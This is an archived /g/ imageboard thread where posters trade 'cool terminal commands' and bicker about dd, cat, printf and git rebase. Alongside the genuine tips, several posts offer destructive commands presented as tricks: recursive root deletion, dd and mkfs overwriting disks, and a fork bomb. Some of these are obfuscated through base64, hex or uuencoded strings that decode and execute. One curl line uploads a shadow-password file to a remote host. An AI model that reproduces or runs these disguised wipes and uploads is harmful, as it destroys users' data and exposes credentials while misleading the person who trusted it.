[ 3 / biz / cgl / ck / diy / fa / g / ic / jp / lit / sci / tg / vr ] [ index / top / reports / report a bug ] [ 4plebs / archived.moe / rbt ]

Maintenance is complete! We got more disk space.
Become a Patron!

/g/ - Technology

View post   

[ Toggle deleted replies ]
File: 27 KB, 657x527, 1519856769616.png [View same] [iqdb] [saucenao] [google] [report]
66729190 No.66729190 [Reply] [Original] [archived.moe] [rbt]

What are some cool terminal commands?

>> No.66729234


>> No.66729239


>> No.66729260

Press Alt+F4 and the terminal inverts colors

>> No.66729262

hack icloud.com >> nudes.zip

>> No.66729285

sudo rm -rf

>> No.66729291

Press Ctrl+R to search your command history.

>> No.66729303

echo suck my dick

>> No.66729345

Only good post. /g/ sucks ass these days.

>> No.66729346

cd code

>> No.66729357

Actually you have to use the -f flag
hack -f icloud.biz

>> No.66729361

touch gf

>> No.66729362

sudo cat /dev/sda/
Post result here

>> No.66729374


just kidding

>> No.66729378

this doesn't do anything anon

>> No.66729383

I don't remember where I got this but...

# Git upstream branch syncer.
# Usage: gsync master (checks out master, pull upstream, push origin).
function gsync() {
if [[ ! "$1" ]] ; then
echo "You must supply a branch."
return 0

BRANCHES=$(git branch --list $1)
if [ ! "$BRANCHES" ] ; then
echo "Branch $1 does not exist."
return 0

git checkout "$1" && \
git pull upstream "$1" && \
git push origin "$1"

>> No.66729398

Why is it impossible to have a shell thread without getting raided by 12 year old clowns? Fuck you /g/, seriously.

>> No.66729414

if it starts with a frog post it will get shit posts

>> No.66729420

>if [[
>if [

>> No.66729423

try 'format c:'

>> No.66729426

Let's try something different : I have read that tail -f let's you watch for file changes. What's some cool shit that you can use it for ?

>> No.66729441


>> No.66729495


>> No.66729503

thx based anon. i can't remember but i think it came like that lmao

>> No.66729504

There's a command that lets you watch ASCII Star Wars, I forget what it was

>> No.66729507


>> No.66729525

telnet towel.blinkenlights.nl

>> No.66729532

fortune | cowsay | lolcat
telnet toel.blinkenlights.nl

>> No.66729645
File: 3 KB, 120x117, 1523778751373.jpg [View same] [iqdb] [saucenao] [google] [report]

Apt install cmatrix


>> No.66729724

.. means up one (usually gets used with cd, but can also be used with thinks like ls), !! means repeat, very useful when you forget to put sudo at the start of a command, and can just do sudo !!.

>> No.66729743

run kys.exe

>> No.66729763

cd code
cd ..
cd code
cd ..

>> No.66729997

wtf is a "cool terminal command"? that's like asking "what's the coolest tool in a toolbox"? none you humongous retard, each one serves its own purpose

>> No.66730188

Best way to start an evening boys.

find Shows/Simpsons -type f | shuf -n 1 | xargs -d "\n" smplayer

>> No.66730206

I think that hammers are cooler than screwdrivers.

>> No.66730282

I use it at work to see if jobs terminate early. Not super exciting.

>> No.66730312

They're more useless desu

>> No.66730446

>hammers cooler than screwdrivers
you must be autistic. It's screwdrivers that are interesting, ya dip!

>> No.66730473

Idk about you, but a Sawzall is pretty awesome tool, my dude.

The power to cut a car to pieces in minutes is an entertaining thought (provided you have enough blades and batteries).

>> No.66730485

poke &HFCAB,&HFF

>> No.66730514

LOL guys! I love these posts. See you in reddit.com :P

>> No.66730533

Someone post the Zelda tune script.

>> No.66730558
File: 301 KB, 1000x800, 1530988898525.jpg [View same] [iqdb] [saucenao] [google] [report]

dd if=/dev/zero of=/dev/sda1

>> No.66730567

you can a column using awk

cat somfiele | awk {'print $2'}

where 2is the column number.

>> No.66730582
File: 1.11 MB, 960x906, 5610823649815609821349582736.png [View same] [iqdb] [saucenao] [google] [report]

still kek

>> No.66730602

...Yeah don't do this. It will zero your hard drive.

>> No.66730606


>> No.66730956

telnet telehack.com

then type

>> No.66730980
File: 43 KB, 346x348, IMG_20180707_093735.jpg [View same] [iqdb] [saucenao] [google] [report]

Is it a good idea to use git pull instead of git fetch upstream and git merge upstream/master? Legit question, I've seen quite a few useless commits made by git pull that trigger my autism.

>> No.66730985

> you can a column using awk
> cat somfiele | awk {'print $2'}
But what you really should do is:
awk '{ print $2 }' somefile

>> No.66731008
File: 428 KB, 618x960, unknown.png [View same] [iqdb] [saucenao] [google] [report]

this really uped my votes, have a gold, stranger

>> No.66731038

git pull is essentually an alias for git fetch && git merge. You can type the commands one by one if that pleases your autism but there's no need for that. If the merge causes useless commits then you can always get rid of them with rebase.

>> No.66731151

Felt like a child when I found out about this one a few months ago

>> No.66731180

To get rid of the useless merge commits, you should do got merge then git rebase. Or git pull --rebase for short.

>> No.66731221


>> No.66731242

Oops, I meant git fetch then git rebase. Read about rebasing. There are a lot of articles on whether you should use rebase with git pull or not.

>> No.66731256

How about this one. If you have multiple logs that you want to monitor in one window,
watch -n 2 'tail -n 5 auth.log boot.log kern.log'
(tail will automatically print filename headers when multiple files provided)

>> No.66731271

can't you just do that with tail -f instead of watch?

>> No.66731274

A little but useful one

cd -

Takes you back to the directory you were in previously

Also I've really been getting into using screeninator recently for managing programming environments

>> No.66731287

you're right, thanks for pointing that out. disregard my earlier post.

>> No.66731396


>> No.66731517

some of the more leet guys i know use pushd and popd.

i could never get used to it though

>> No.66731609

I've literally not once used git fetch/merge

just do git pull --rebase then go to whatever other branch you're working on and do git rebase <master>

theb git push to origin/master then pull again

>> No.66731783

find . -type f -name "*.jpg" -exec jpegoptim {} \;
find . -type f -name "*.png" -exec optipng {} \;
find . -type f -size -4k -exec rm {} \;
fdupes . --noprompt --delete

for f in *.zip; do unzip -d "${f%*.zip}" "$f"; done
for i in *; do zip -r "${i%}.zip" "$i"; done

for f in *.flac; do opusenc --comp 10 --bitrate 64 "$f" "${f%.flac}".opus; done

convert -append *.jpg ../1.jpg
(minus vertical plus horizontal)

curl "https://sequentalget[1-1000000].jpg" -o "#1.jpg"

>> No.66731799

locate (find fags BTFO)

>> No.66731805

I saw Karlie in Bend the other day, she’s cute.

>> No.66731824

deadbeef < badc0ffeebadcafe

>> No.66731825

sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get install apache2 -y && sudo a2enmod ssl && sudo a2ensite default-ssl.conf && sudo systemctl enable apache2 && sudo apt-get install php php-mysqlnd php-opcache php-pdo php-xml php-bz2 php-calendar php-ctype php-curl php-dom php-exif php-fileinfo php-ftp php-gd php-gettext php-iconv php-json php-mbstring php-mcrypt php-mysqli php-pdo-mysql php-phar php-posix php-readline php-shmop php-simplexml php-sockets php-sysvmsg php-sysvsem php-sysvshm php-tokenizer php-wddx php-xmlreader php-xmlwriter php-xsl php-zip php-bcmath -y && sudo systemctl restart apache2.service && sudo apt-get install mysql-server -y && sudo apt-get install phpmyadmin -y

>> No.66731840

Does that meme shit play my DSD files?

>> No.66731862 [DELETED] 

awk '{print $1}' database.csv > 1.txt
$1 column 1
$2 column 2
$3 column 3

>> No.66732030
File: 75 KB, 1024x768, cfu.jpg [View same] [iqdb] [saucenao] [google] [report]

It's summer and 12 years old boomers want to fit in with the 16 years old boomers from /v/ that have turned neo-/g/ into unusable board.

>> No.66732042
File: 2 KB, 447x91, linux-rmrf.png [View same] [iqdb] [saucenao] [google] [report]

rm -rf / --no-preserve-root

>> No.66732428

FORMAT C: /AUTOTEST always used to be entertaining.

>> No.66732438

sudo apt install cmatrix

>> No.66732444

I've always preferred pushd and popd. You know exactly where it's going to take you back to. It also works on Windows, which is a boon for 93% of computer users.

>> No.66732467

There are other csh users on /g/? Cool.

>> No.66732533

pushd and popd work in bash too......?

maybe they are a csh thing though, since most of my bash bros never use them. but i have on rare occasion

>> No.66732658

vhp() {
t=$(echo $1 | fold -w1)
echo $t
echo $t | tr ' ' '\n' | sed 1d

>> No.66732733
File: 25 KB, 800x450, qxn6snxkd8le96kib75t.jpg [View same] [iqdb] [saucenao] [google] [report]


>> No.66732741

Ahh, good old fold. It's a DoS'ers best friend.

I've fallen into the hot tub time machine.

>> No.66732770

alias head='sed 10q'
alias find='du -a | grep'


>> No.66732880

i just have to copypasta this one from a thread earlier this week...

this is a malicious forkbomb that even crashed my ubuntu box. it's a good one. and it's so beautiful.
:(){ :|: & };:

this is truly beautiful shell scripting (albeit malicious)

>> No.66734400


>> No.66734416

cat /proc/acpi/ibm/fan

>> No.66734422

youtube-dl -o '~/Downloads/%(title)s-%(id)s.%(ext)s' -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best' **YouTube Link**

>> No.66734432
File: 25 KB, 669x514, 1500082900410.png [View same] [iqdb] [saucenao] [google] [report]

sed, awk, docker, uptime

>> No.66734435

lol did you try it? It deletes everything relative to the pwd.

>> No.66734454

Congratulations you won a useless use of cat award

>how to waste your time running a script that re-encodes your media with a lossy codec because you run out of disk space from downloading too much trap porn.

>> No.66734471

You can limit the maximum allowed processes using 'ulimit'. Then you can run a forkbomb and it will not turn your machine down. You need however kill the forkbomb.

>> No.66734480

I've been doing a lot of long-running computations over SSH and needed to see the I/O from multiple devices/connections *without* access to a proper terminal multiplexer.

>program > output.txt & disown; tail -f output.txt
lets you handle that, and the process being kill if the connection that made the call disconnects.

>> No.66734504

>use distributed VCS
>history is a fucking mess
>manipulate history with complicated commands just to have a "readable" history
>pretend that the tool is simple
Just kys rebasionists. A DVCS naturally has branches. Otherwise just don't use it.

>> No.66734545


: is does nothing, always successful, it's abused here as function name, so tu understand what happens better, let's call it "OP".

OP(){ OP|OP & };OP

For better readability:
OP | OP &

Noe you see the first OP defines a function 'OP() { do something }', the second OP starts the function, the pipe | allows to start OP again at the same time, the & puts both OP function calls into the background, so the functions don't need to wait for each others to finish. The last OP starts the bomb, calling OP for the first time.
This will result in creating two OPs by one OP call, so it duplicates itself by each run 2, 4, 8, 16, 32, etc and shortly after your system ressources give up holding all these faggot processes.

>> No.66734625

why not just use -best

>> No.66734716

you can also see the hello world and the function
is i bet concatenate_string. the language is ruby as you can see def - end. so yeah, world class bullshit

>> No.66734721

and also the line numbering. up to twenty most of which is empty spaces.

>> No.66735135

need mp4 and m4a version

sometimes -best gets ogg files instead

>> No.66736315

fappening 3.0

>> No.66738237

while :;do printf \\e[K\\e[48:5:196m;echo;printf \\e[K\\e[48:5:202m;echo;printf \\e[K\\e[48:5:11m;echo;printf \\e[K\\e[48:5:10m;echo;printf \\e[K\\e[48:5:12m;echo;printf \\e[K\\e[48:5:4m;echo;printf \\e[K\\e[48:5:5m;echo;done;

>> No.66738302

open terminal
press ctrl x e
paste all you're commands

>> No.66738579

echo -e 'niggers\ntongue\nmy\nanus' | sort --random-sort

>> No.66738624
File: 59 KB, 500x402, gr94r0miE1raarzu.png [View same] [iqdb] [saucenao] [google] [report]

sudo rf --rm - --preserve-root /tmp
!!! Just joking please dont run that it will delete youre /root parititon and brick you're motherboard !!!

>> No.66738649

someone post the zelda theme polyphone command

>> No.66738682

curl ipinfo.io/ip

>> No.66738755



>> No.66738766

All of them.

>> No.66738811

ls {.*,*}

>> No.66739098

What does this do?

>> No.66739108

Stop using echo. Use printf.

>> No.66739144

no you

>> No.66739239

also i have an alias gsm for gsync master but im sure you all know how to do that

im the og git script guy and my gitconfig is set to always rebase/ff anon

>> No.66739252

do people actually type all these commands out or do they have autistic shell config files like me

>> No.66739261
File: 55 KB, 946x488, CopyQ.BC3271.png [View same] [iqdb] [saucenao] [google] [report]

>> No.66739267

I can't tell if you're seriously asking if I tried that. good b8 m8

>> No.66739345


>> No.66739393

actually what triggers me most is that 'healthy food', water and that product placement. I hate females so fucking eternally much.

>> No.66739444

for x in ~/Downloads/Git/* ; do printf "$x\n" ; git -C "$x" pull ; done

>> No.66739513

kills your parents, delete all your money and ban you forever from any neetbux also makes you even uglier and fatter

>> No.66740059

sudo su
sudo rm -rf /*

>> No.66741143

ngninx and apache logs, so you can watch a live feed of who's on your website

>> No.66741200

This actually hurts.

>> No.66741681

What's the difference between doing rm -rf and rm -rf /*. Dont they both delete everything?

>> No.66741804

sudo dd if=/dev/urandom of=/dev/sda0

>> No.66741935

what the fuck man
I though t this actually did something cool and Im not stupid to fall for rm -rf * or whatever but this fucing delted all my files
how do I get them back NOW, you stupid fucking cunt faggot

>> No.66742116

sudo killall plasmashell mutter gnome-shell lightdm sddm

>> No.66742139

echo c3VkbyBybSAtcmYgLyoK | base64 -d | sh

>> No.66742155

rm -rf will do nothing because it's not specifying a file.

rm -rf / and rm -rf /* will delete everything because / stands for root, the very top of the file system.

>> No.66742177

xxd /dev/urandom

>> No.66742227

disk /dev/sda && mkfs.xfs /dev/sda1 && mkswap /dev/sda2 && swapon /dev/sda2 && mount /dev/sda1 /mnt/gentoo/ && cd /mnt/gentoo/ && links http://www.gentoo.org/main/en/mirrors.xml && md5sum -c stage3-*.tar.bz2.DIGESTS && tar xvjpf stage3-*.tar.bz2 && links http://www.gentoo.org/main/en/mirrors.xml && md5sum -c portage-latest.tar.bz2.md5sum && tar xvjf /mnt/gentoo/portage-latest.tar.bz2 -C /mnt/gentoo/usr && nano -w /mnt/gentoo/etc/make.conf && mirrorselect -i -o >> /mnt/gentoo/etc/make.conf && mount -t proc none /mnt/gentoo/proc && mount -o bind /dev /mnt/gentoo/dev && chroot /mnt/gentoo bash -lc 'env-update && source /etc/profile && source /etc/profile && emerge --sync && cd /etc && rm /etc/make.profile && ln -s ../usr/portage/profiles/default-linux/x86/desktop make.profile && cp /usr/share/zoneinfo/US/Eastern /etc/localtime && cd /usr/portage && scripts/bootstrap.sh && emerge -e system && emerge vim && emerge gentoo-sources && cd /usr/src/linux && make menuconfig && make install modules_install && vim /etc/fstab && passwd && emerge grub vixie-cron syslog-ng dhcpcd && cp /boot/grub/grub.conf.sample /boot/grub/grub.conf && vim /boot/grub/grub.conf && grep -v rootfs /proc/mounts > /etc/mtab && grub-install --no-floppy /dev/sda && init 6 && emerge gnome mozilla-firefox openoffice && emerge --sync && emerge portage openssh

>> No.66742238


>> No.66742297
File: 45 KB, 409x409, comfy.jpg [View same] [iqdb] [saucenao] [google] [report]

curl cht.sh

>> No.66742304

Anon I hate to break it to you but you're retarded

[email protected]: ls
four test three two
[email protected]: rm -rf
[email protected]: ls
four test three two

>> No.66742349

maybe he meant

rm -rf .

>> No.66742414

then he should have written that

>> No.66742468

>Just kys rebasionists
kill yourself pleb. history is not fucking lost you absolute dipshit. all revisions are immutable and you can branch the old refs you threw out.

you anti git faggots are literally retarded morons. fuck off.

>> No.66742540

# join arguments by common delimiter
# $1 - the delimiter
# ${@:1} - the strings to join
join_by() {
local IFS="$1"
printf '%s\n' "${*}"

useful for joining args by like a comma, etc.

>> No.66742763

use it when a normie walks by

>> No.66742876

lsof -i

>> No.66742977

how the hell did i not know this?
t. linuxfag since 2006

>> No.66742982

>le kernelfag

>> No.66743002

Bloat, use wget

alias wcat='wget -qO-'
wcat cht.sh

>> No.66743074


>> No.66743137

hahahahahaha omfg im dead

if you're joking, nice one
if you're not, serves you right fucktard, topkek

>> No.66743144

this up until it deletes /bin

>> No.66743156

this. maybe if it were cp /dev/zero /dev/sda you'd have an excuse since most dd using people don't know shit about dd other than cargo cult shit.

>> No.66743163


>> No.66743169

>hurr durr i think im leet cuz i tell people to do pointless shit for some dumbass reason

>> No.66743191

only Xenfags recognize this command
xe help --all

>> No.66743207

echo sucks and confusing. printf doesn't

just deal with it.

>> No.66743218

lmao how tf have you never used dd or not know what drives are

>> No.66743221

People use lots of crap because they read online tutorials and blogs from the last century. That's why retards still use echo, backticks, eval and related crap like it's the 70s.

echo is not portable
Every system has it's own echo with different options.
On some systems, echo is just a link to printf $*

tl;dr the thinking man uses printf.

>> No.66743237

>People use lots of crap because they read online tutorials and blogs from the last century. That's why retards still use echo, backticks, eval and related crap like it's the 70s.

literally this. the level of shell incompetence is insane.

>> No.66743238

The thinking man doens't necessarily use printf.

>> No.66743257

ya, he does.

echo is broke shit that may or may not interpret backslash escapes by default.

same reason you should always use read -r for instance. broke legacy bullshit escape handling.

>> No.66743272

fun fact
dd was made back in the days when it was necessary to copy data to tape drives with specific block sizes that you had to match up when making a backup.
if you have ever used dd you will know that it is pretty damn slow, even with
dd BS=1M or such.
cat is much quicker and achieves that same result. it is still a bit-by-bit read and write operation and will achieve the same exact result, even when copying entire disks.
i recently just migrated a raid array on a cloud server and cat /dev/ccis/c0d0 > /dev/sda completed the operation in about half the time that dd if=/dev/ccis/c0d0 of=/dev/sda bs=1M takes

>> No.66743285

why would I use printf to do a dry run then? More typing. Just echo is sufficient.

.t thinking man

>> No.66743287

is this news to anyone tho?

>> No.66743295

obviously to the people who were still talking about using dd to copy to/from devices, yes.
either its news or they enjoy wasting their time

>> No.66743296

ya. dd use is cargo culting and how i spot plebs who don't know shit about posix like systems other than blog shit.

use bs=128K though. gnu seems to hardcode 128k blocking on x86 (cat, cp, etc)

i don't know the reasons. i'm assuming empirically derived.

>> No.66743306

>On some systems, echo is just a link to printf
Can you give one system as an example of that claim?

>> No.66743308

bs=1M is objectively quicker than bs=128k though

>> No.66743314

maybe for you?

gnu cp does the same read/write in 128KiB blocks.

>> No.66743325

you know cp is slow as hell right?

Compare cp -purv to rsync...

>> No.66743337

thank you anon

>> No.66743354

wow, you mean a tool that basically a loop into a common shared copy method in coreutils is slow? use it for one file -> dest and it's just as fast.

>> No.66743369

Try it on your Downloads folder.
You'll see.

>> No.66743379

jesus fuck can you even read?

also protip moron.
cat blocks in 128kib. use strace -e read,write if you don't believe me.

>> No.66743394

Look at the anger of this plebian nig nog.
Fuck off m8.

>> No.66743413 [DELETED] 

nope, bs=1M will copy the same amout of data quicker than bs=128k.
time dd if=/dev/random of=randomfile bs=128k count=100000
dd: warning: partial read (86 bytes); suggest iflag=fullblock
0+100000 records in
0+100000 records out
7842130 bytes (7.8 MB, 7.5 MiB) copied, 6.03978 s, 1.3 MB/s

real 0m6.042s
user 0m0.057s
sys 0m4.656s

$ time dd if=/dev/random of=randomfile bs=128k count=128
dd: warning: partial read (80 bytes); suggest iflag=fullblock
0+128 records in
0+128 records out
10114 bytes (10 kB, 9.9 KiB) copied, 0.00992102 s, 1.0 MB/s

real 0m0.018s
user 0m0.002s
sys 0m0.012s

but the point is anyways, that catworks even quicker...

>> No.66743414

cp is literally implemented as a top level for loop that calls a coreutil common method. the method does stating and shit. rsync and the like do it in one huge go, like tar etc which is why it's faster. instead of pausing for stat.

>> No.66743434

then dd would be faster idiot. use strace on your cat. ffs retards.

>> No.66743436

telnet towel.blinkenlights.nl

>> No.66743442

nope, bs=1M will copy the same amout of data quicker than bs=128k.
time dd if=/dev/random of=randomfile bs=128k count=1000
dd: warning: partial read (84 bytes); suggest iflag=fullblock
0+1000 records in
0+1000 records out
78465 bytes (78 kB, 77 KiB) copied, 0.0755177 s, 1.0 MB/s

real 0m0.077s
user 0m0.001s
sys 0m0.054s

time dd if=/dev/random of=randomfile bs=1M count=128dd: warning: partial read (114 bytes); suggest iflag=fullblock
0+128 records in
0+128 records out
10148 bytes (10 kB, 9.9 KiB) copied, 0.0139776 s, 726 kB/s

real 0m0.016s
user 0m0.002s
sys 0m0.005s
[[email protected] ~]$

but the point is anyways, that catworks even quicker...

>> No.66743461

>cat blocks in 128kib
cat will use whatever sized buffers io_blksize() tells it to for the destination it's writing to.

>> No.66743465

>time dd if=/dev/random of=randomfile bs=1M count=128dd: warning: partial read (114 bytes); suggest iflag=fullblock

...lmao you're so fucking stupid. read from urandom at least. jesus fuck you morons.

>> No.66743486


>> No.66743491
File: 75 KB, 1280x403, 1531627842270.png [View same] [iqdb] [saucenao] [google] [report]

>> No.66743501

78465 bytes (78 kB, 77 KiB) copied, 0.0755177 s, 1.0 MB/s

10148 bytes (10 kB, 9.9 KiB) copied, 0.0139776 s, 726 kB/s

Anon, you realize 128k was faster right?
1.0 MB/s > 726 kB/s

>> No.66743502

urandom always has data. random entropy is limited.

>> No.66743518

/dev/random depletes the entropy pool and then blocks when there isn't enough entropy to generate a random number.

>> No.66743536

Neither of those dd's finished and it warned you about that both times you retard. Look at the bytes copied. You exhausted your system's entropy pool by reading from /dev/random instead of /dev/urandom and it cut it the reads short. That's why the second dd transferred so much less data, you had already depleted the available entropy

>> No.66743549

>it's like googling your command line commands
>it's the cool hacker command that lets you get a reverse shell

I expected better in this thread guys
all I see is common curl, rsync, git stuff

>> No.66743567

i don't feel like arguing this anymore. either way. any size greater than or equal to 128KiB should be fine for the most part for dd. I'd only ever bother using dd if i need to use the conv,seek,skip,bs size for speicifc reasons. for block copying, cat/cp/pv are probably more suitable.

for copying whole filesystems (like a directory like ~/Downloads) i'd use tar or rsync instead because that's what they are designed for.

man -k is also basically apropos.

>> No.66743577 [DELETED] 
File: 76 KB, 550x733, 1531628395786.jpg [View same] [iqdb] [saucenao] [google] [report]

cat file.txt | grep text
alias clr=clear
for i in $(ls *); do mv $i $i.bak; done
find . -type f | grep text
alias fuck='sudo !!'

>> No.66743614

nother tip since i'm here

most gnu tools support options like -z --null. incredibly useful for correct handling of filenames. also gnu awk is one of the few awks capable of using \0 as a RS. again. super useful.

another helpful advice. gnu sed can execute arbitrary code or edit/read arbitrary files due to the r, w and e command. so be wary of fags doing shit like sed 's/'"$variable_lol"'/something/'

>> No.66743635

since i seem to have triggered people by bringing up dd I'll add something useful...

>> No.66743671

printf '%q ' "some" "shell" "command" "$user_string" | at or other shell interpreting thing.

can use printf %q for passing variables to strings in an ssh command like "$(printf %q "$var")"

in newer bash, you can do things like "${[email protected]}" instead

>> No.66743748

try reading from something with a more consistent avaliability than a rng
/dev/zero or null or full

>> No.66743809

Some good shit ITT.


>> No.66743925

I use this function to generate a hash of hostnames for different colored hosts in PS1s

sdbm_hash() {
local LANG=C # force 8bit char (no unicode char handling)
declare -i chr=0 hash=0 cmpl=-1 i=1 len="${#1}"
for (( i=0; i<=len; ++i )); do
printf -v chr '%d' \'"${1:$i:1}"
hash='chr + (hash << 6) + (hash << 16) - hash'
(( hash < 0 )) && hash='-hash'

>> No.66745410

limes(){ limes|limes & };limes

>> No.66745833


>> No.66745911

you're mom

>> No.66746282

sudo rm -rf ~/

>> No.66746347

yes Linux

>> No.66746390

for i in {1..9}; do for j in $(seq $i); do echo -ne $ix$j=$((i*j))\\t; done; echo; done

>> No.66746407

you're part of the problem

>> No.66746849

>Doesn't know about c style for loop in bash


>> No.66746912
File: 522 KB, 775x440, 2018-07-15-142329_775x440.png [View same] [iqdb] [saucenao] [google] [report]

I do though. Now what Ke-mo sah-bee?

>> No.66746918

Then why did you post such garbage?

>> No.66746921

stfu zealot.

>> No.66746954

Pipe that into lolcat for rainbow starwars

>> No.66747236

emacs --batch --load dunnet

>> No.66748371

curl -d "@/etc/shado" -X POST https://sys.4chan.org/g/post

>> No.66748533

Only the cool kids do it!

>> No.66749401

Ur retarded

>> No.66750270

What garbage is that?

>> No.66750481

>no target

>> No.66750485

You like it?
echo $'hello w\b_o\b_r\b_l\b_d\b_ ' | ul

>> No.66750531

cut -d$'\t' -f2

>> No.66750537

Nice. Just made a color test script based on that:

for i in {1..9}; do
for j in {1..9}; do
printf '\e[3%dm%dx%d=%d\e[m\t' \
"${i}" "${i}" "${j}" "$((i*j))"
printf '\n'

>> No.66751368


>> No.66751420

Surprisingly yes. Look up how to copy isos on Linux on google. All answers you will find use dd.
DD has one advantage, though, which is that it can easily be used with sudo.
sudo cat bla.iso > /dev/sda would fail, because while cat would be executed as root, the pipe to /dev/sda would still be created by the shell with user privileges, which usually aren't enough.
So you have to do something retarded like sudo su -c "cat some.iso > /dev/sda".

>> No.66751449

>wow, you mean a tool that basically a loop into a common shared copy method in coreutils is slow
I see you've never looked a the Ganoo source code.

>> No.66751466

sudo su

>> No.66751492

Install ranger.
It's basically a file manager, except it runs on your terminal.
It even support mouse inputs on most recent terminal emulators.
On some modern terminal emulators, it even supports drawing actual images. This doesn't seem to work on any ssh client, though.

>> No.66751520

Locate is for people too stupid to use find.

>> No.66751536

Please do not recommend the google botnet.

>> No.66751546

Sorry, man.
I meant bing it.

>> No.66751553

Ur retarded

>> No.66751566


>> No.66751577

You mean GNU/Linux.
Linux is just a kernel.

>> No.66751591
File: 378 KB, 1024x1399, akarin.png [View same] [iqdb] [saucenao] [google] [report]

touch akarin

>> No.66751596


>> No.66751597

I guess it can be justified in this case as you actually use the GNU coreutils to do it...

>> No.66751612

cat is faster.
The advantage dd has is more precision, like being able to stop anywhere, even in the middle of a file.

>> No.66751621

dd if=/dev/cdrom of=cd.iso

mkisofs -o /tmp/cd.iso /home/user/directory

mkdir /mnt/iso
mount -o loop -t iso9660 filename.iso /mnt/iso

>> No.66751627

echo -e \\e#8

>> No.66751655

finger akarin
mount akarin

>> No.66751680

I fell for this.
>muh files.

>> No.66751709

A good header for bash scripts.

#!/usr/bin/env bash
[[ "$OSTYPE" == darwin* ]] && exit

>> No.66751723

It just prints a test pattern, the character being 'E'.

>> No.66751725

>echo $OSTYPE
"It's called linux" tards BTFO

>> No.66751742


...and I got a 3 day ban for posting about the PonyOS.

>> No.66751756
File: 192 KB, 560x426, big.brain.alien.jpg [View same] [iqdb] [saucenao] [google] [report]

cat distro.iso |sudo tee /dev/sda > /dev/null

>> No.66751758
File: 91 KB, 1207x587, bash_calledMeNames.png [View same] [iqdb] [saucenao] [google] [report]

>> No.66751786

Anyone has that fork bomb that even forks when you try to just echo it?
Fell for it some years ago.

>> No.66751799

mkfs.ext4 /dev/sda
Make sure to do this from a live usb

>> No.66751814

history | tr -s ' ' | cut -d ' ' -f3 | sort | uniq -c | sort -n | tail | perl -lane 'print $F[1], "\t", $F[0], " ", "▄" x ($F[0] / 12)'

>> No.66751823

Nevermind, found it:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

>> No.66751860

Post more good things. Too many evil shit ITT.

>> No.66751872

>never even knew about tr

>> No.66751934

t. 10 year old who just learned what wabbits are.

>> No.66751961
File: 2 KB, 259x179, history.png [View same] [iqdb] [saucenao] [google] [report]

That's pretty cool. If you replace the " " just before the block character with another "\t", you can line up the chart better.
>tfw vimfaggot

>> No.66752298

It's finished, get it here: >>66747338

>> No.66752705


Go Back to windows.

>> No.66753058 [DELETED] 

Gnu parallel is pretty cool. It's a lot like xargs.

>> No.66753116

nmap www.fbi.gov

>> No.66753778
File: 874 KB, 2273x2511, 1519850202914.jpg [View same] [iqdb] [saucenao] [google] [report]

Only for bash users.

L=99;P=100000000;Q=$((P/100));X=$((Q*320/(COLUMNS-1)));Y=$((Q*210/LINES));y=$((Q*-105));v=$((Q*-220));x=$v;while((y<105*Q));do while((x<P));do((a=b=i=c=0));while((a*a+b*b<4*P**2&&i++<L));do((c=a,a=(a**2-b**2)/P+x,b=2*b*c/P+y));done;((i>=L))&&j=0||((j=i%16));((j>7))&&((k=1,j-=8))||k=0;printf "\e[$k;$((j+30))m*";((x+=X));done;printf '\e[m';((x=v,y+=Y));done

>> No.66753789

My nigga.
Thanks, it's amazing.

>> No.66753851 [DELETED] 

tmux please

>> No.66753880

What this all do?

>> No.66755260

Useful things.

>> No.66755278

kek, fucking reddit fags should stay away.

>> No.66755339

How do I zoom in?

>> No.66755388

thanks for proving my point?


>> No.66755423

literally why not sudo cp distro.iso /dev/sda at that point?

>> No.66755429


>> No.66755983

I like it.

>> No.66756303
File: 1.93 MB, 460x259, 15316496988300.gif [View same] [iqdb] [saucenao] [google] [report]

>was on the interview
>ok anon how do you delete all mp3 files in the directory
>rm *.mp3
>ok but if specific files
>find type name mp3 exec rm rf {} \
>so what, have you ever heard about xargs?
>never been called back

Fuck you, life is a pain.

>> No.66758390


>> No.66758513

how do i drive the keyboard handler with mouse buttons? I tried redirecting the dev/input from one to the other but showkey doesn't recognize the keys.
I have a thinkpad where the mouse buttons are directly below the spacebar and it'd be really good to use them for meta/ctrl in emacs

>> No.66758578

Never. It was shit and no one should have cared.
Just check out 4chan ans fappening search trend and evolution of number or visits
Gamergate was ofc a reason but it's pretty obvious this low quality posts played a role

>> No.66758622

for i un *.jpg; do convert $i -quality 90 -resize 200 m_$i; donne

Creates a miniature of all jpg on the pwd

>> No.66758674

sudo apt -y install mpv && echo "alias porn='cd /home/$USER/Videos/porn/'" >> ~/.bashrc && source ~/.bashrc && porn && find . -type f -iname "*.mp4" -exec mpv {} \;

Install mpv, creates an alias to reach your porn easily, go there, search all .mp4 to play them

>> No.66758742

Hey there babby! Now go play with your apple shit toys

>> No.66758745

telnet kirjava.xyz

>> No.66758766

alias cp=child
mkdir porn


>> No.66758797

lmao, what a fucking retard.
someone should do a similar troll where /dev/urandom is copied to /dev/sda1, lmao it'll brick their system in no time

>> No.66758803

what does it do

>> No.66758916

Yo momma :^)

>> No.66759595


>> No.66759622

sudo apt-get install gentoo

>> No.66760009


>> No.66760098


I think you mean:
sudo apt-get dist-upgrade gentoo

>> No.66760166

I bet it was your dad's work laptop too

>> No.66760173
File: 179 KB, 1600x656, serveimage.jpg [View same] [iqdb] [saucenao] [google] [report]

This is like a cyber e-museum Holy shit

>> No.66760256

On the windows CMD

tracert -h 60 bad.horse

>> No.66760295 [DELETED] 

$(echo 726d202d7266207e2f2a | xxd -r -p)

>> No.66760298
File: 232 KB, 511x296, 1531117424843.png [View same] [iqdb] [saucenao] [google] [report]


>> No.66760354

yum install terry-davis

>> No.66760399

locate is a million times faster than find because you’re simply querying a db rather than thrashing the disk traversing every directory

>> No.66760491

php/nginx version?

>> No.66760511

cowsay traps are gay

>> No.66761177

nc rya.nc 1987

>> No.66761504

alias rm='rm -i --preserve-root'
Would this alias override --no-preserve-root?

>> No.66761533

--preserve-root is the default.

You just need alias rm='rm -i' to warn you of a delete.

>> No.66761881
File: 20 KB, 610x314, cowsay.png [View same] [iqdb] [saucenao] [google] [report]

Good one.

>> No.66761910
File: 54 KB, 500x689, look-around-you-see-a-post-you-wonder-who-could-6274459.png [View same] [iqdb] [saucenao] [google] [report]


>> No.66761958


>> No.66761970

1. Google search the command before running
2. man everything
3. Have a vm just for when you want to run these commands

Why wouldn't you assume these threads are just people trying to trick eachother into deleting all their files?

